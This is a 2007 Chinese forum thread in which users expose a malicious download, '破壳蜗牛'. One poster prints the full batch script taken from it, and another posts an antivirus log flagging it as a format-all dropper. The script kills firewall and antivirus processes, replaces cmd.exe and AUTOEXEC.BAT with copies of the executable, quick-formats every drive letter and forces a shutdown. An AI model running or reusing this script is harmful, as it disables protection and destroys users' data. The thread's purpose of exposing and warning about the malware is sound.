同志们继续杀吧，破壳蜗牛来了。也不知道有用没

sfdx

BD轻松，不好玩

鼻耳盖子

baohelin

盘，没被你格掉。
你的尾巴倒是被抓住了。
下面是你那个批处理“bt5811.bat”的内容：
@shift 1
@echo off
set date=%date%
date 1987-09-30
date 1987-09-30
@echo.
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i = 15
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End
:Next
@taskkill /f /im pfw.exe >nul
@taskkill /f /im shadowtip.exe >nul
@taskkill /f /im shadowservice.exe >nul
@taskkill /f /im qq.exe >nul
@taskkill /f /im explorer.exe >nul
@taskkill /f /im IEXOLORE.EXE >nul
@taskkill /f /im norton* >nul
@taskkill /f /im av* >nul
@taskkill /f /im fire* >nul
@taskkill /f /im anti* >nul
@taskkill /f /im spy* >nul
@taskkill /f /im bullguard >nul
@taskkill /f /im PersFw >nul
@taskkill /f /im KAV* >nul
@taskkill /f /im ZONEALARM >nul
@taskkill /f /im SAFEWEB >nul
@taskkill /f /im OUTPOST >nul
@taskkill /f /im nv* >nul
@taskkill /f /im nav* >nul
@taskkill /f /im F-* >nul
@taskkill /f /im ESAFE >nul
@taskkill /f /im cle >nul
@taskkill /f /im BLACKICE >nul
@taskkill /f /im def* >nul
@taskkill /f /im 360safe.exe >nul
@taskkill /f /im explorer.exe
del C:\WINDOWS\system32\browselc.dll
del C:\WINDOWS\system32\browser.dll
del C:\WINDOWS\system32\browseui.dll
del C:\WINDOWS\system32\browsewm.dll
attrib C:\AUTOEXEC.BAT -r -s -h
copy 破壳蜗牛.exe C:\AUTOEXEC.BAT
attrib C:\AUTOEXEC.BAT +r +s +h
copy 破壳蜗牛.exe %windir%\system32\dllhost.exe
copy 破壳蜗牛.exe %windir%\system32\cmd.exe
attrib %windir%\system32\cmd.exe +r +s +h
copy 破壳蜗牛.exe %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
attrib C:\AUTOEXEC.BAT +r +s +h
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
@format %alldrive%:/y/q
date 2007-05-17
date %date%
RD /S /Q %systemroot%\temp\
shutdown -s -t 0
@echo.
exit
怎么抓住你的尾巴的？怎么没格成盘？自己去想。
系统根目录下的那个autoexec.bat也被废掉武功后扔进了回收站。
别在这里得意啦。

[ 本帖最后由 baohelin 于 2007-5-18 15:37 编辑 ]

scottxzt

Begin scan in 'D:\Documents and Settings\dell\桌面\破壳蜗牛.rar'
D:\Documents and Settings\dell\桌面\
D:\Documents and Settings\dell\桌面\破壳蜗牛.rar
  [0] Archive type: RAR
  --> ÆÆ¿ÇÎÏÅ£.exe
      [DETECTION] Contains signature of the dropper DR/FormatAll.AF.1
      [WARNING]   Infected files in archives cannot be repaired!
      [INFO]      A backup was created as 'cd64d1f9.qua'  ( QUARANTINE )
      [INFO]      The file was deleted!

rwangpengf

提示木马!

Saturn87930

都是上报了才可以报了……呵呵，这段时间不玩了，每天早上6点起来做操~！真TMD烦~！